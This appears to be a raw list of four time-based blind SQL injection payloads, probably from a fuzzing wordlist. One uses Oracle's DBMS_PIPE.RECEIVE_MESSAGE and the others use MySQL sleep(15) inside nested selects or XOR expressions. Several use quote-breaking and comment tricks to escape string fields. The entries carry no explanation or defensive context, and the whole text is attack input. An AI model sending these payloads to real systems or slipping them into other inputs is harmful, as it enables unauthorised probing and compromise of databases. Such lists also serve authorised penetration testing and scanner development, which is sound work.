*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z